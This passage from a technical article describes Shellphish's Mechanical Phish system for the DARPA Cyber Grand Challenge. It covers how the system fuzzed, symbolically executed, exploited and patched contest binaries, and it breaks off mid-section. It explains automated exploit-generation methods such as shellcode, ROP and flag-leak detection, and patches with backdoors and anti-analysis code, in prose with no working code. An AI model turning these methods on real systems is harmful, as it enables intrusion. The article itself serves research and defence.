|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ zanardi ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacking is often considered more than a skill. In popular culture, hackers are seen as wizards of sorts, artists with powers to access the inaccessible, or perform acts that seem impossible. Hacking, like art, has great people, who are recognized for their skills, but whose abilities cannot be captured or reproduced. In fact, a single great hacker in a team is better than a hundred mediocre ones, similar to as none of the paintings from a hundred mediocre artists can match a painting from van Gogh.

Vulnerability analysis is the science of capturing and reproducing what some hackers do. Vulnerability analysis studies how one can reason, in a principled way, about finding and exploiting vulnerabilities in all types of software or hardware. By developing algorithms and tools to help humans identify flaws in software, researchers "codify" the knowledge that hackers use, in an organic way, to analyze systems and find their flaws. The resulting tools can then be used at scale, and composed to create new analysis systems.

This scientific process has generated a number of useful tools, such as static analysis tools, fuzzers, and symbolic execution frameworks. However, these tools codify only a subset of the skills of a hacker, and they are still used only to augment the abilities of humans.

One approach to push the codification of what human hackers do, is to take the hackers out of the equation. This is precisely what the DARPA Cyber Grand Challenge was set out to do.

The DARPA Cyber Grand Challenge (CGC) was designed as a Capture The Flag (CTF) competition among autonomous systems without any humans being involved. During the competition, Cyber Reasoning Systems (CRSs) would find vulnerabilities in binaries, exploit them, and generate patches to protect them from attacks, without any human involvement at all.

The separation between human and machine is key, as it forces the participants to codify, in algorithms, the techniques used for both attack and defense. Although the competition was only a first step toward capturing the art of hacking, it was an important one: for the first time, completely autonomous systems were hacking one another with code, and not human intuition, driving the discovery of flaws in complex software systems.

Shellphish is a team that was founded by Professor Giovanni Vigna at UC Santa Barbara in 2005 to participate in the DEF CON CTF with his graduate students. Since then, Shellphish has evolved to include dozens of individuals (graduate students ‑ now professors elsewhere, undergraduate students, visitors, their friends, etc.) who are somewhat connected by the Security Lab at UC Santa Barbara, but who are now spread all across the world. Nonetheless, Shellphish has never lost its "hackademic" background and its interest in the science behind hacking. Participation in many CTF competitions sparked novel research ideas, which, in addition to publications, resulted in tools, which, in turn, were put to good use during CTF competitions.

Given the academic focus of Shellphish, it is no surprise that the DARPA Cyber Grand Challenge seemed like a great opportunity to put the research carried out at the UC Santa Barbara SecLab to work. Unfortunately, when the call for participation for the funded track came out, the lab was (as usual) busy with a great number of research projects and research endeavors, and there were simply no cycles left to dedicate to this effort. However, when the call for the qualification round that was open to anybody who wanted to throw their hat in the ring was announced, a group of dedicated students from the SecLab decided to participate, entering the competition as team Shellphish.

With only a few weeks to spare, the Shellphish team put together a prototype of a system that automatically identifies crashes in binaries using a novel composition of fuzzing and symbolic execution. Unsurprisingly, the system was largely unstable and crashed more than the binaries it was supposed to crash. Yet, it performed well and Shellphish was one of the seven teams (out of more than a hundred participants) that qualified for the final event. Since Shellphish was not initially funded by DARPA through the funded track, it received a $750,000 award to fund the creation of the autonomous system that would participate in the final competition.

The following few months focused mostly on basic research, which resulted in a number of interesting scientific results in the field of binary analysis [Driller16, ArtOfWar16], and to the dramatic improvement of angr [angr], an open‑source framework created at the UC Santa Barbara SecLab to support the analysis of binaries.

Eventually, the pressure to create a fully autonomous system increased to the point that academic research had to be traded for system‑building. During the several months preceding the final competition event, all the energy of the Shellphish team focused on creating a solid system that could be resilient to failure, perform at scale, and be able not only to crash binaries, but also to generate reliable exploits and patches.

After gruesome months of Sushi‑fueled work that lead to severe Circadian rhythm sleep disorder [Inversion] in many of the team's members, the Mechanical Phish Cyber Reasoning System was born. Mechanical Phish is a highly‑available, distributed system that can identify flaws in DECREE binaries, generate exploits (called Proofs Of Vulnerability, or POVs), and patched binaries, without human intervention. In a way, Mechanical Phish represents a codification of some of the hacking skills of Shellphish.

Mechanical Phish participated in the final event, held in Las Vegas on August 4th, in conjunction with DEF CON, and placed third, winning a $750,000 prize. As a team, we were ecstatic: our system performed more successful exploits than any other CRS, and it was exploited on fewer challenges than any other CRS. Of course, in typical Shellphish style, the game strategy is where we lost points, but the technical aspects of our CRS were some of the best.

We decided to make our system completely open‑source (at the time of writing, Shellphish is the only team that decided to do so), so that others can build upon and improve what we put together.

The rest of this article describes the design of our system, how it performed, and the many lessons learned in designing, implementing, and deploying Mechanical Phish.

‑‑[ Contents

1 ‑ The Cyber Grand Challenge

2 ‑ Finding Bugs

3 ‑ Exploiting

4 ‑ Patching

5 ‑ Orchestration

6 ‑ Strategy

7 ‑ Results

8 ‑ Warez

9 ‑ Looking Forward

‑‑[ 001 ‑ The Cyber Grand Challenge

The Cyber Grand Challenge was run by DARPA, and DARPA is a government agency. As such, the amount of rules, regulations, errata, and so forth was considerably out of the range with which we were familiar. For example, the Frequently Asked Questions document alone, which became the CGC Bible of sorts, reached 68 dense pages by the time the final event came around; roughly the size of a small novella. This novella held much crucial information, and this crucial information had to be absorbed by the team, digested, and regurgitated into the squawking maw of the Mechanical Phish.

‑‑[ 001.001 ‑ Game Format

The CGC Final Event took the form of a more‑or‑less traditional attack‑defense CTF. This means that each team had to attack, and defend against, each other team. Counter to A&D CTF tradition, and similar to the setup of several editions of the UCSB iCTF, exploits could not be run directly against opponents, but had to be submitted to the organizers. Likewise, patches could not be directly installed (i.e., with something like scp), but had to be submitted through the central API, termed the "Team Interface" (TI) by DARPA. This allowed DARPA to maintain full control over when and how often attacks were launched, and how patches were evaluated.

The CGC was divided into rounds (specifically, there were 95 rounds in the final event) of at least 5 minutes each. Each round, the TI specified the currently‑active challenges. A challenge could be introduced at any point, up to a maximum of 30 concurrently active challenges, and was guaranteed to remain live for a minimum of 10 rounds.

All teams would start with the same binaries for a challenge. Each round, teams could submit patches for their instances of the challenge binaries, exploits for the opponents' instances, and network rules to filter traffic. Submitted exploits would go "live" on the round *after* the one during which they were submitted, while submitted patches and network rules would go live 2 rounds after. Submitting a patch, causes that team to incur one round of downtime for that challenge, in which opponents can download the patched binary. Patched binaries were visible by opponents to allow them to exploit incomplete patches.

‑‑[ 001.002 ‑ Game Scoring

The CGC employed a scoring algorithm that had serious implications for the strategies that were viable for teams to adopt. Each team would be scored on a per‑round basis, and a team's final score was the sum of all of their round scores. A team's round score was, in turn, the sum of their "Challenge Binary Round Scores" for that round. This CB Round Score was the real crux of the matter.

A CB Round Score was calculated for every Challenge Binary to be a simple multiplication of:

‑ Availability: this was a measure of the performance overhead and functionality impact introduced by a patch. The performance and functionality scores each ranged from 0 (broken) to 100 (perfect), and the availability score was the minimum of these numbers.

‑ Security: this number was 2 if the Challenge Binary was secure (i.e., it had not been exploited by any competitor that round), and 1 otherwise (if it was exploited by at least one competitor). ‑ Evaluation: this number ranged from 1.0 to 2.0, based on how many opponents the team was hitting with their exploits (if any) for this challenge binary. For example, if an exploit was succeeding against 2 of the 6 opponents, this number would be 1.33.

The round after a patch was submitted or an IDS rule was updated for a challenge binary, that challenge binary's availability score would be set to 0 and no exploits would be scheduled (either by the patching team or against the patching team) for that round.

On the surface, this seems like a simple formula. However, there were several complications:

‑ DARPA did not disclose the formula used to calculate the performance or functionality scores prior to the CFE. While this was presumably done to avoid letting teams "game the system", it led to an astonishing amount of uncertainty regarding patching. Teams knew that they had some "free" overhead (20% for the file size, and 5% each for runtime overhead and memory overhead), but did not know how additional overhead would be penalized.

‑ The runtime overhead included overhead introduced by the network IDS as it matched submitted network rules. This overhead was fundamentally unmeasurable before the game. During the CFE, it turned out that the overhead introduced by network rules from one service could actually influence overhead of *other* services. All this uncertainty kept all but two teams from using the network IDS during the CFE.

‑ The memory and runtime overhead was astonishingly hard to measure. As we discuss later, local measurements were so unreliable that we actually decided not to test our own patches for performance during the CFE, but optimized the techniques as much as possible beforehand and relied on the TI feedback for already‑submitted patches. As we'll also discuss, DARPA themselves had some trouble keeping the measurements constant, with measurements between teams (for identical, unpatched binaries) varying by significant amounts.

Overall, the performance scoring was both a strength and weakness of the game. Because of the ease with which exploits can be "broken" by simple patches, it was critical to have some patch dis‑incentives. However, the measurement of such patches is a very hard problem, and led to some chaos.

‑‑[ 001.003 ‑ Visibility

With the CGC, DARPA pioneered something called the "Consensus Evaluation". This had many implications for many parts of the game, but the biggest one was a slight change to the "visibility" of certain aspects of the game to the different teams. In this section, we'll detail what information was available to competitors during the game.

All interaction with the game was done via the CGC API (what DARPA called the Team Interface, or TI). The TI provided the following information:

‑ The Challenges: all teams could retrieve the challenges that were "in play" at any given moment.

‑ Patched Binaries: all teams could retrieve the patched binaries of *all* opponents. This prevented opponents from deploying "chump" patches that relied on simple security through obscurity.

‑ IDS rules: all teams could retrieve the IDS rules that were being fielded by their opponents.

‑ Availability impacts: a team could see the runtime overhead, memory overhead, and functionality impact of their submitted patches.

‑ Crashes: a team could see what signals their binaries crashed with as a result of processing network traffic. This could give hints for whether or not exploits were being thrown against a challenge binary.

‑ Network Traffic: a team could get most of the network traffic, including all exploits and most of the functionality polls (DARPA reserved the right to keep some of them secret).

‑ POV Feedback: a team could get the results of their own exploits against other teams.

‑ Round scores: teams could get the overall round scores of all competitors.

This level of visibility is different than your "average" CTF. Specifically, the big difference is that the patches submitted by the Cyber Reasoning Systems were made available to opponents. In theory, this would allow opponents to analyze, and try to bypass, a CRS' patches. In practice, as we discussed in the Patching section, patched binaries were too "dangerous" to analyze. Teams were allowed to add anti‑reversing code, and, in our experience, it was easy to find ways to crash analysis tools, or "clog" them, causing them to slow down or use extra resources. We did not dare to run our heavier analysis on the patched binaries, and we are not aware of any team that did. Instead, our heavy analysis was run strictly on the original, unpatched binaries, and the patched binaries were run through a quick analysis that would fix up memory offsets and so forth in the case of "chump" patches.

‑‑[ 001.004 ‑ Practice

Full autonomy is difficult to achieve. To mitigate some of this difficulty, DARPA provided CGC practice sessions through a "sparring partner". In the months leading up to the final event, the sparring partner would connect to our Cyber Reasoning System at random, unannounced times and begin a game.

The presence of the sparring partner was immensely helpful in debugging interactions with the API. However, the unannounced nature of these events meant that it was rarely possible to be ready for this debugging. Additionally, since DARPA only had one sparring partner setup, and teams had to take turns interacting with it, the sparring partner sessions were very short (generally, about 30 minutes, or 5 rounds). The reduced length of these sessions made it more difficult to truly stress‑test the systems, and several teams showed signs of failure due to overload during the final event itself.

We mostly used the practice round to test the difference between DARPA's calculated overhead from our estimated one. This allowed us to get a vague idea of how DARPA calculated overhead, and tailor our patching techniques accordingly.

‑‑[ 001.005 ‑ DECREE OS

The binaries that made up the Cyber Grand Challenge's challenges were not standard Linux binaries. Instead, they were binaries for an OS, called DECREE, that was created specifically for the Cyber Grand Challenge. This OS was extremely simple: there were 7 system calls, and no persistence (i.e., filesystem storage, etc). The DECREE syscalls are:

1. terminate: the equivalent of exit()

2. transmit: the equivalent of send()

3. receive: the equivalent of recv()

4. fdwait: the equivalent of select()

5. allocate: the equivalent of mmap()

6. deallocate: the equivalent of munmap()

7. random: a system call that would generate random data

The hardware platform for the binaries was 32‑bit x86. Challenge authors were not allowed to include inline assembly code, only code which was produced by clang or included in a library provided by DARPA. The provided math library included instructions such as floating point logarithms and trigonometric operations. All other code had to be produced directly by the compiler (clang).

This simple environment model allowed competitors to focus on their program analysis techniques, rather than the implementation details that go along with support complex OS environments. The DECREE OS was, in the opinion of many of us, the biggest thing that made the CGC possible with humanity's current level of technology.

‑‑[ 002 ‑ Finding Bugs

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Driller |

|

| ++++++++++++++ ++++++++++++++

| + angr + =====> + AFL + |

| + + + +

| + Symbolic + + Genetic + |

| + Tracing + <===== + Fuzzing + |

| ++++++++++++++ ++++++++++++++

|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There are a few things we considered when we thought about how we wanted to find bugs in the Cyber Grand Challenge. Firstly, we will need to craft exploits using the bugs we find. As a result, we need to use techniques which generate inputs that trigger the bugs, not just point out that there could be a bug. Secondly, the bugs might be guarded by specific checks such as matching a command argument, password or checksum. Lastly, the programs which we need to analyze might be large, so we need techniques which scale well.

The automated bug finding techniques can be divided into three groups: static analysis, fuzzing, and symbolic execution. Static analysis is not too useful as it doesn't generate inputs which actually trigger the bug. Symbolic execution is great for generating inputs which pass difficult checks, however, it scales poorly in large programs. Fuzzing can handle fairly large programs, but struggles to get past difficult checks. The solution we came up with is to combine fuzzing and symbolic execution, into a state‑of‑the‑art guided fuzzer, called Driller. Driller uses a mutational fuzzer to exercise components within the binary, and then uses symbolic execution to find inputs which can reach a different component.

* Fuzzing

Driller leverages a popular off‑the‑shelf fuzzer, American Fuzzy Lop. AFL uses instrumentation to identify the transitions that a particular input exercises when it is passed to the program. These transitions are tuples of source and destination basic blocks in the control flow graph. New transition tuples often represent functionality, or code paths, that has not been exercised before; logically, these inputs containing new transition tuples are prioritized by the fuzzer.

To facilitate the instrumentation, we use a fork of QEMU, which enables the execution of DECREE binaries. Some minor modifications were made to the fuzzer and to the emulation of DECREE binaries to enable faster fuzzing as well as finding deeper bugs:

‑ De‑randomization

Randomization by the program interferes with the fuzzer's evaluation of inputs ‑ an input that hits an interesting transition with one random seed, may not hit it with a different random seed. Removing randomness allows the fuzzer to explore sections of the program which may be guarded by randomness such as "challenge‑response" exchanges. During fuzzing, we ensure that the flag page is initialized with a constant seed, and the random system call always returns constant values so there is no randomness in the system. The Exploitation component of our CRS, is responsible for handling the removal of randomness.

‑ Double Receive Failure

The system call receive fails after the input has been completely read in by the program and the file descriptor is now closed. Any binary which does not check the error codes for this failure may enter an infinite loop, which slows down the fuzzer dramatically. To prevent this behavior, if the receive system call fails twice because the end‑of‑file has been reached, the program is terminated immediately.

‑ At‑Receive Fork Server

AFL employs a fork server, which forks the program for each execution of an input to speed up fuzzing by avoiding costly system calls and initialization. Given that the binary has been de‑randomized as described above, all executions of it must be identical up until the first call to receive, which is the first point in which non‑constant data may enter the system. This allows the fork‑server to be moved from the entry of the program, to right before the first call to receive. If there is any costly initialization of globals and data structures, this modification speeds up the fuzzing process greatly.

* Network Seeds

Network traffic can contain valuable seeds which can be given to the fuzzer to greatly increase the fuzzing effectiveness. Functionality tests exercise deep functionality within the program and network traffic from exploits may exercise the particular functionality which is buggy. To generate seeds from the traffic, each input to the program is run with the instrumentation from QEMU to identify if it hits any transitions which have not been found before. If this condition is met, the input is considered interesting and is added as a seed for the fuzzer.

* Adding Symbolic Execution

Although symbolic execution is slow and costly, it is extremely powerful. Symbolic execution uses a constraint solver to generate specific inputs which will exercise a given path in the binary. As such, it can produce the inputs which pass a difficult check such as a password, a magic number, or even a checksum. However, an approach based entirely on symbolic execution will quickly succumb to path explosion, as the number of paths through the binary exponentially increases with each branch.

Driller mitigates the path‑explosion problem by only tracing the paths which the fuzzer, AFL, finds interesting. This set of paths is often small enough that tracing the inputs in it is feasible within the time constraints of the competition. During each symbolic trace, Driller attempts to identify transitions that have not yet been exercised by the fuzzer, and, if possible, it generates an input which will deviate from the trace and take a new transition instead. These new inputs are fed back into the fuzzer, where they will be further mutated to continue exercising deeper paths, following the new transitions.

* Symbolic Tracing

To ensure that the symbolic trace using angr's concolic execution engine is identical to the native execution trace, we use pre‑constraining. In pre‑constrained execution, each byte of input is constrained to match the original byte of input that was used by the fuzzer. When a branch is reached that would lead to a new transition, the pre‑constraints are removed and then the solver is queried for an input which reaches the new transition. Pre‑constraining also has the benefit of greatly improving execution time, because one does not need to perform expensive solves to determine the locations of reads and writes to memory because all variables have only one possible value.

‑‑[ 003 ‑ The Exploiting Component

Crashes Inputs

||

||

========================

|| ||

|| ||

\/ \/

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| REX | | PovFuzzer | | Colorguard |

| | |

| ++++++++++++++ | | +++++++++++++

| + Advanced + | | + Fuzzing + | | + Finding + | | + AEG + | | + For + | | + Leaks + |

| + + | | + Exploits + | | + + |

| ++++++++++++++ | | +++++++++++++

| | |

| ... | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|| ||

=============================

||

\/

POVs

* Exploitation

In the Cyber Grand Challenge, stealing flags is a little different than it is in ordinary Capture the Flag games. Instead of reading a secret "flag" file and submitting the contents to the organizers, an exploit is demonstrated by submitting a Proof of Vulnerability (POV), which the organizers will run.

A POV is a binary program, which will communicate with the opponent's binary and "exploit" it. There are two ways in which a POV can be considered successful:

‑ Type 1: Cause a segmentation fault where the instruction pointer and one additional register have values which were previously negotiated with the competition infrastructure. Must control at least 20 bits of EIP as well as 20 bits of another register. ‑ Type 2: Read 4 contiguous bytes from the secret flag data. The flag data is located at 0x4347c000‑0x4347cfff and is randomly initialized by the kernel.

Different types of vulnerabilities might lend themselves to a specific type of POV. For example, a vulnerability where the user can control the address passed to puts() might only be usable as a Type 2 POV. On the other hand, a stack‑based buffer overflow can clearly be used to create a Type 1 exploit simply by setting a register and EIP, but it can also be used to create a Type 2 exploit by using Return Oriented Programming or by jumping to shellcode which prints data from the flag page.

* Overview

The basic design for Mechanical Phish's automatic exploitation is to take crashes, triage them, and modify them to create exploits. Mechanical Phish does not need to understand the root cause of the bug, instead it only needs to identify what registers and memory it controls at crash time, and how those values can be set to produce a POV. We created two systems which are designed to go from crashes to exploits.

‑ PovFuzzer

Executes the binary repeatedly, slightly modifying the input, tracking the relationship between input bytes and registers at the crash point. This method is fast, but cannot handle complex cases.

‑ Rex

Symbolically executes the input, tracking formulas for all registers and memory values. Applies "techniques" on this state, such as jumping to shellcode, and return oriented programming to create a POV.

Now this design was missing one important thing. For some challenges the buggy functionality does not result in a crash! Consider a buffer over‑read, where it reads passed the end of the buffer. This may not cause a crash, but if any copy of flag data is there, then it will print the secret data. To handle this, we added a third component.

‑ Colorguard

Traces the execution of a binary with a particular input and checks for flag data being leaked out. If flag data is leaked, then it uses the symbolic formulas to determine if it can produce a valid POV.

‑‑[ 003.001 ‑ PovFuzzer

The PovFuzzer takes a crash and repeatedly changes a single byte at a time until it can determine which bytes control the EIP as well as another register. Then a Type 1 POV can be constructed which simply chooses the input bytes that correspond to the negotiated EIP and register values, inserts the bytes in the payload, and sends it to the target program.

For crashes which occur on a dereference of controlled data, the PovFuzzer chooses bytes that cause the dereference to point to the flag page, in the hope that flag data will be printed out. After pointing the dereference at the flag page, it executes the program to check if flag data is printed out. If so, it constructs a Type 2 POV using that input.

The PovFuzzer has many limitations. It cannot handle cases where register values are computed in a non‑trivial manner, such as through multiplication. Furthermore it cannot handle construction of more complex exploits such as jumping to shellcode, or where it needs to replay a random value printed by the target program. Even so, it is useful for a couple reasons. Firstly, it is much faster than Rex, because it only needs to execute the program concretely. Secondly, although we don't like to admit it, angr might still have occasional bugs, and the PovFuzzer is a good fallback in those cases as it doesn't rely on angr.

‑‑[ 003.002 ‑ Rex

The general design of Rex is to take a crashing payload, use angr to symbolically trace the program with the crashing payload, collecting symbolic formulas for all memory and input along the way. Once we hit the point where the program crashes, we stop tracing, but use the constraint solver to pick values that either make the crash a valid POV, or avoid the crash to explore further. There are many ways we can choose to constrain the values at this point, each of which tries to exploit the program in a different way. These methods of exploiting the program are called "techniques".

One quick thing to note here is that we include a constraint solver in our POVs. By including a constraint solver we can simply add all of the constraints collected during tracing and exploitation into the POV and then ask the constraint solver at runtime for a solution that matches the negotiated values. The constraint solver, as well as angr, operates on bit‑vectors enabling the techniques to be bit‑precise.

Here we will describe the various "techniques" which Rex employs.

‑ Circumstantial Exploit

This technique is applicable for ip‑overwrite crashes and is the simplest technique. It determines if at least 20 bits of the instruction pointer and one register are controlled by user input. If so, an exploit is constructed that will negotiate the register and ip values and then solve the constraints to determine the user input that sets them correctly.

‑ Shellcode Exploit

Also only applicable to ip‑overwrites, this technique will search for regions of executable memory that are controlled by user input. The largest region of controlled executable memory is chosen and the memory there is constrained to be a nop‑sled followed by shellcode to either prove a type‑1 or type‑2 vulnerability. A shellcode exploit can function even if the user input only controls the ip value, and not an additional register.

‑ ROP Exploit

Although the stack is executable by default, opponents might employ additional protections that prevent jumping to shellcode, such as remapping the stack, primitive Address Randomization or even some form of Control Flow Integrity. Return Oriented Programming (ROP) can bypass incomplete defenses and still prove vulnerabilities for opponents that employ them. It is applicable for ip‑overwrite crashes as long as there is user data near the stack pointer, or the binary contains a gadget to pivot the stack pointer to the user data.

‑ Arbitrary Read ‑ Point to Flag

A crash that occurs when the program tries to dereference usercontrolled data is considered an "arbitrary read". In some cases, by simply constraining the address that will be dereferenced to point at flag data, the flag data will be leaked to stdout, enabling the creation of a type‑2 exploit. Point to Flag constrains the input to point at the flag page, or at any copy of flag data in memory, then uses Colorguard to determine if the new input causes an exploitable leak.

‑ Arbitrary Read/Write ‑ Exploration

In some cases, the dereference of user‑controlled data can lead to a more powerful exploit later. For example, a vtable overwrite will first appear as an arbitrary read, but if that memory address points to user data, then the read will result in a controlled ip. To explore arbitrary reads/writes for a better crash, the address of the read or write is constrained to point to user data, then the input is re‑traced as a new crash.

‑ Write‑What‑Where

If the input from the user controls both the data being written and the address to which it is written, we want to identify valuable targets to overwrite. This is done by symbolically exploring the crash, to identify values in memory that influence the instruction pointer, such as return addresses or function pointers. Other valuable targets are pointers that are used to print data; overwriting these can lead to type‑2 exploits.

‑‑[ 003.003 ‑ Colorguard

As explained above, there are some challenges which include vulnerabilities that can leak flag data, but do not cause a crash. One challenge here is that it is difficult to detect when a leak occurs. You can check if any 4 bytes of output data are contained in the flag page, but this will have false positives while fuzzing, and it will miss any case where the data is not leaked directly. The challenge authors seem to prefer to xor the data or otherwise obfuscate the leak, maybe to prevent such a method.

To accurately detect these leaks we chose to trace the inputs symbolically, using angr. However, symbolic tracing is far too slow to run on every input that the fuzzer generates. Instead, we only perform the symbolic tracing on the inputs which the fuzzer considers "interesting". The hope here is that the leak causing inputs have a new transition, or number of loops which is unique, and that the fuzzer will consider it interesting. There are definitely cases where this doesn't work, but it's a fairly good heuristic for reducing the number of traces.

In an effort to further combat the slowness of symbolic execution, Colorguard takes advantage of angr's concrete emulation mode. Since no modification of the input has to be made if a flag leak is discovered, our input is made entirely concrete, with the only symbolic data being that from the flag page. This allows us to only execute symbolically those basic blocks that touch the secret flag page contents.

Colorguard traces the entire input concretely and collects the symbolic expression for the data that is printed to stdout. The expression is parsed to identify any four consecutive bytes of the flag page that are contained in the output. For each set of bytes, the solver is queried to check if we can compute the values of the bytes only from the output data. If so, then an exploit is crafted which solves for these four bytes after receiving the output from the program execution.

One caveat here is that challenges may use many bytes of the flag page as a random seed. In these cases we might see every byte of the flag page as part of the expression for stdout. Querying the constraint solver for every one of these consecutive four byte sequences is prohibitively slow, so it is necessary to pre‑filter such expressions. Colorguard does this pre‑filter during the trace by replacing any expression containing more than 13 flag bytes with a new symbolic variable. The new symbolic variable is not considered a potential leak. The number 13 was arbitrarily chosen as it was high enough to still detect all of the leaks we had examples for, but low enough that checking for leaks was still fast.

‑‑[ 003.004 ‑ Challenge Response

A common pattern that still needs to be considered is where the binary randomly chooses a value, outputs it, and then requires the user to input that value or something computed from the random value. For example, the binary prints "Solve the equation: 6329*4291" and then the user must input "27157739". To handle these patterns in the exploit, we identify any constraints that involve both user input and random data. Once identified, we check the output that has been printed up to that point if it contains the random data. If so, then we have identified a challenge‑response. We will include the output as a variable in the constraints that are passed to the exploit, and then read from stdout, adding constraints that the output bytes match what is received during the exploit. Then the solver can be queried to generate the input necessary for the correct "response".

‑‑[ 004 ‑ The Patching Component: Patcherex

Original

Binary (CB)

||

||

||=============================

||

||

\/

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| TECHNIQUES | | PATCHES | | BACKENDS |

| | |

| ++++++++++++++ | |

| + Return + | | ‑ AddROData() | | |

| + Pointer + ‑‑‑‑‑‑‑‑> ‑ AddCode() | | +++++++++++++++ |

| + Encryption + | | ‑ ... | | + Detour + |

| ++++++++++++++ | | Backend + |

| | |

| ++++++++++++++ | |

| + Transmit + | | ‑ InsertCode() | | | | + Protection + ‑‑‑‑‑‑‑‑> ‑ AddRWData() |==>| OR |

| + + | | ‑ ...

| ++++++++++++++ | |

| | | Reassembler + |

| ++++++++++++++ | | Backend + |

| + + | | ‑ AddCode() | | + + |

| + Backdoor + ‑‑‑‑‑‑‑‑> ‑ AddRWData() | | +++++++++++++++ |

| + + | | ‑ ...

| ++++++++++++++ | |

| | |

| ... | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Replacement

Binary (RB)

Patcherex, which is built on top of angr, is the central patching system of Mechanical Phish. As illustrated in the overview image, Patcherex is composed of three major components: techniques, patches, and patching backends.

* Techniques

A technique is the implementation of a high‑level patching strategy. A set of patches (described below) with respect to a binary are generated after applying a technique on it. Currently Patcherex implements three different types of techniques:

‑ Generic binary hardening techniques, including Return Pointer Encryption, Transmit Protection, Simple Control‑Flow Integrity, Indirect Control‑Flow Integrity, Generic Pointer Encryption;

‑ Techniques aiming at preventing rivals from analyzing or stealing our patches, including backdoors, anti‑analysis techniques, etc.; ‑ Optimization techniques that make binaries more performant, including constant propagation, dead assignment elimination, and redundant stack variables removal.

* Patches

A Patch is a low‑level description of how a fix or an improvement should be made on the target binary. Patcherex defines a variety types of patches to perform tasks ranging from code/data insertion/removal to segment altering.

* Backends

A backend takes patches generated from one or more techniques, and applies them on the target binary. Two backends available in Patcherex:

‑ ReassemblerBackend: this backend takes a binary, completely disassembles the entire binary, symbolizes all code and data references among code and data regions, and then generate an assembly file. It then apply patches on the assembly file, and calls an external assembler (it was clang for CGC) to reassemble the patched assembly file to the final binary. ‑ DetourBackend: this backend acts as a fallback to the ReassemblerBackend. It performs in‑line hooking and detouring to apply patches.

‑‑[ 004.001 ‑ Patching Techniques

In this section, we describe all techniques we implemented in Patcherex.

Obviously we tried to implement techniques that will prevent exploitation of the given CBs, by making their bugs not exploitable. In some cases, however, our techniques do not render the bugs completely unexploitable, but they still force an attacker to adapt its exploits to our RBs. For instance, some techniques introduce differences in the memory layout between our generated RB and the original CB an attacker may have used to develop its exploit. In addition, we try to prevent attackers from adapting exploits to our RB by adding anti‑analysis techniques inside our generated binaries. Furthermore, although we put a significant effort in minimizing the speed and memory impact of our patches, it is often impossible to have performance impact lower than 5% (a CB score starts to be lowered when it has more than 5% of speed or memory overhead). For this reason we decided to "optimize" the produced RB, as we will explain later.

‑‑[ 004.001.001 ‑ Binary Hardening Techniques

We implemented some techniques for generic binary hardening. Those general hardening techniques, although not extremely complex, turned out to be very useful in the CFE.

Vulnerability‑targeted hardening (targeted patching) was also planned initially. However, due to lack of manpower and fear for deploying replacement CBs too many times for the same challenge, we did not fully implement or test our targeted patching strategies.

* Return Pointer Encryption

This technique was designed to protect from classical stack buffer overflows, which typically give an attacker control over an overwritten saved return pointer. Our defense mechanism "encrypts" every return pointer saved on the stack when a function is called, by modifying the function's prologue. The encrypted pointer is then "decrypted" before every ret instruction terminating the same function. For encryption and decryption we simply xor'ed the saved return pointer with a nonce (randomly generated during program's startup). Since the added code is executed every time a function is called, we take special care in minimizing the performance impact of this technique.

First of all, this technique is not applied in functions determined as safe. We classify a function as safe if one of these three conditions is true:

‑ The function does not access any stack buffer.

‑ The function is called by more than 5 different functions. In this case, we assume that the function is some standard "utility" function, and it is unlikely that it contains bugs. Even if it contains bugs, the performance cost of patching such a function is usually too high. ‑ The function is called by printf or free. Again, we assume that library functions are unlikely to contain bugs. These common library functions are identified by running the functions with test input and output pairs. This function identification functionality is offered by a separate component (the "Function identifier" mentioned in the "Warez" Section).

To further improve the performance, the code snippet that encrypts and decrypts the saved return pointer uses, when possible, a "free" register to perform its computations. This avoids saving and restoring the value of a register every time the injected code is executed. We identify free registers (at a specific code location) by looking for registers in which a write operation always happens before any read operation. This analysis is performed by exploring the binary's CFG in a depth‑first manner, starting from the analyzed code location (i.e., the location where the code encrypting/decrypting the return pointer is injected).

Finally, to avoid negatively impacting the functionality of the binary, we did not patch functions in which the CFG reconstruction algorithm has problems in identifying the prologue and the epilogues. In fact, in those cases, it could happen that if an epilogue of the analyzed function is not identified, the encrypted return address will not be decrypted when that epilogue is reached, and consequently the program will use the still‑encrypted return pointer on the stack as the return target. This scenario typically happens when the compiler applies tail‑call optimizations by inserting jmp instructions at the end of a function.

* Transmit Protection

As a defense mechanism against Type 2 exploits, we inject code around the transmit syscall so that a binary is forbidden from transmitting any 4 contiguous bytes of the flag page. The injected code uses an array to keep track of the last transmitted bytes so that it can identify cases in which bytes of the flag page are leaked one at a time.

* Simple Control‑Flow Integrity

To protect indirect control flow instructions (e.g., call eax, jmp ebx), we inject, before any instruction of this kind, code that checks specific properties of the target address (i.e., the address which the instruction pointer will be after the call or jump). The specific checks are:

‑ The target address must be an allocated address (to prevent an attacker from using the indirect control‑flow instruction to directly perform a Type 1 attack). To do so, we try to read from the target address, so that if the address does not point to an allocated region the program will crash before the instruction pointer is modified. This prevents simple Type 1 exploits, because the attacker must control at least 20 bits of the instruction pointer, and it is unlikely (but not impossible) that the negotiated value will end up inside an allocated memory region.

